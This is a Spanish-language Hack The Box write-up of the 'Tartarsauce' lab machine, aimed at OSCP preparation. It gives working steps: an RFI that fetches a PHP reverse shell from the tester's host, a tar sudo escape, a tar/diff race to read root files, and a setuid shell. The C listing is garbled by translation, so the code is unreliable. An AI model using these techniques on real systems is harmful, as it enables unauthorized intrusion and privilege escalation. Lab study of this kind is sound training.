Hack the Box es una plataforma en línea para probar y mejorar tus habilidades en pruebas de penetración y ciberseguridad.
En esta serie de artículos mostraremos cómo los evaluadores junior completan algunas máquinas de Hack The Box en su camino hacia OSCP, una certificación muy conocida, respetada y requerida para muchos puestos de ciberseguridad. Los certificados OSCP son capaces de identificar las vulnerabilidades existentes y ejecutar ataques organizados de manera controlada. Pueden aprovechar o modificar el código de exploits existentes en su beneficio, realizar pivoting en la red y exfiltrar datos, y comprometer los sistemas debido a configuraciones deficientes.
¡Empecemos con la diversión!
Tartarsauce
Initial Foothold
Nmap muestra que hay un robots.txt
, que nos lleva a http://10.10.10.88/webservices/monstra-3.0.4/
,
un sitio web construido usando monstra
como CMS (Sistema de gestión de contenidos o Content Management System). Además, también vemos la
versión: 3.0.4
.
Buscando en la página encontramos un panel de administración:
http://10.10.10.88/webservices/monstra-3.0.4/admin
Intentando admin:admin
, accedemos.
Haciendo searchsploit monstra
vemos que hay un RCE autenticado para la versión 3.0.4.
MASSIVE RABBITHOLE
Resulta que tenemos que usar Gobuster en http://10.10.10.88/webservices
para encontrar /wp
, un directorio de WordPress. Una herramienta muy común utilizada para enumerar los sitios de wordpress es wpscan
.
Asi que tratamos de ejecutar wpscan --url http://10.10.10.88/webservices/wp
, pero no nos da nada útil.
Intentemos enumerar los plugins también: wpscan --url http://10.10.10.88/webservices/wp -e p
. Desafortunadamente, tampoco muestra nada útil. Parece que tenemos que leer el manual de wpscan
y probar diferentes banderas.
Attempt #3621: wpscan --url http://10.10.10.88/webservices/wp -e ap --wp-plugins-dir http://10.10.10.88/webservices/wp/wp-content/plugins/ --plugins-detection aggressive
. Muestra todos los plugins, incluyendo uno llamado gwolle-gb
con la versión: 2.3.10
.
Aparentemente, el creador de The Box ha modificado el readme.txt
para el plugin gwolle-gb
, lo que lleva
wpscan
a reportar la versión equivocada: Version: 2.3.10 (100% confidence)
.
En realidad, el plugin es la versión 1.5.3
que tiene una vulnerabilidad de inclusión de archivos remotos (RFI).
- Configura un shell php inverso y llámalo
wp-load.php
. - Servirlo a través de HTTP:
python3 -m http.server
. - Configurar el listener:
ncat -lnvp 6969
. - Activar el RFI:
10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.13:8000/
.
Obtenemos un shell como www-data
.
User
Un rápido sudo -l
muestra que podemos ejecutar /bin/tar
como usuario onuma
.
Echandoun vistazo a GTFOBins encontramos la siguiente manera de escalar al usuario onuma
.
sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Conseguimos con éxito una shell como usuario onuma
.
Bonus
Cambia /bin/sh
por /bin/bash
para evitar que tener que mejorar la shell.
sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
Root
Después de un poco de enumeración y de pasar por unas cuantas barreras, decidí hacer de pspy
(32
bits version) y encontre este peculiar comando ejecutándose como root
: /bin/bash /usr/sbin/backuperer
Este script básicamente crea un archivo tar (como usuario onuma
) del directorio /var/www/html
y lo coloca bajo /var/tmp
con un nombre al azar. Luego, después de 30 segundos, root
...
lo descomprime y comprueba si hay diferencias con el directorio /var/www/html
usando el diff
y envía las diferencias al archivo var/backups/onuma_backup_error.txt
.
Entonces, ¿por qué es vulnerable este script?
- Los comandos
tar
que crean el archivo temporal se ejecutan como el usuarioonuma
, dándonos el oportunidad de modificarlo. - El script espera 30 segundos, dándonos tiempo suficiente para secuestrar el archivo tar.
- El segundo comando
tar
usado para descomprimir el archivo se ejecuta como usuarioroot
. - Usa
diff
para mostrar las diferencias en un archivo, al que todos tienen acceso de lectura. tar
preserva los enlaces simbólicos. Así que, si enlazamos un archivo existente aroot.txt
, las diferencias entre estos dos archivos se escribirá en el archivo creado pordiff
, permitiéndonos efectivamente leer los archivos propiedad de la raíz.
Cómo explotarlo:
- Crear el siguiente directorio dentro de
/var/tmp
:cd /var/tmp && mkdir -p var/www/html
. - Dentro del directorio creado en el paso anterior, crear un enlace simbólico a
root.txt
usando el nombre de un archivo que existe envar/www/html
. Por ejemplo:ln -s /root/root.txt index.html
. - Crear un archivo tar de ese directorio:
cd /var/tmp && tar -zcvf read_flag.tar.gz var
. - Espera hasta que se cree el archivo temporal:
watch -n 1 ls -a /var/tmp
. Este archivo se crea cada 5 minutos (compruebe el la hora consystemctl list-timers
). - Una vez creado el archivo, tendrá un nombre de aspecto aleatorio, por ejemplo,
0.30d1cea06ced0ae7c8c3cd0a8d0aa8f6ba32395
. Tenemos 30 segundos para secuestrar este archivo:mv /var/tmp/read_flag.tar.gz /var/tmp/.30d1cea06ced0ae7c8c3cd0a8d0aa8f6ba32395
. - Espera a que terminen los 30 segundos y luego lee el archivo de diferencias:
cat /var/backups/onuma_backup_error.txt
. - El contenido de
/root/root.txt
se muestra en el archivo.
Bonus. Conseguir una shell como root
Después de ver el video de Ippsec, he aprendido cómo obtener una shell como root a través de la misma vulnerabilidad del script.
Tar mantiene los permisos de los archivos, y como root
ejecuta el comando star
para descomprimir, podemos hacer que cualquier archivo
queremos que sea propiedad de root con los permisos que queramos. ¿Cómo nos ayuda esto? Podemos colocar un archivo que
usa setuid para root
y ejecuta bin/sh
setuid.c
#incluye <stdio.h>
#incluir <stdlib.h>
#include <unistd.h>
int principal ( int argc, char *argv[] )
{
setreuid(0,0);
execve("/bin/sh", NULL, NULL);
}
- Compílalo:
gcc -m32 -o setuid setuid.c
. (Requiresgcc-multilib
). - En nuestra máquina de Kali: Crear el directorio de destino:
mkdir -p var/www/html
. - Ponga
setuid
en ese directorio:mv setuid var/www/html
. - Establezca los permisos:
mod 6555 var/www/html/setuid
--> setuid, setgid y leer/ejecutar para todos. - Comprime el archivo:
tar -zcvf setuid.tar.gz var
. - Configurar un servidor HTTP de python:
python3 -m http.server
. - En la máquina de la víctima,
cd /var/tmp && wget 10.10.14.13:8000/setuid.tar.gz
. - Espere a que aparezca el archivo temporal:
watch -n 1 ls -la /var/tmp
. - Renombra nuestro archivo tar con el mismo nombre del archivo temporal:
cp /var/tmp/setuid.tar.gz /var/tmp/.58874e2f64a0c7874a329b7e38efea000c2df2d7
. - Espere 30 segundos.
- Ejecute nuestro archivo setuid:
/var/tmp/check/var/www/html/setuid
.
Y obtendremos una shell como root.
# Id
uid=0(raíz) gid=1000(onuma) grupos=1000(onuma),24(cdrom),30(dip),46(plugdev)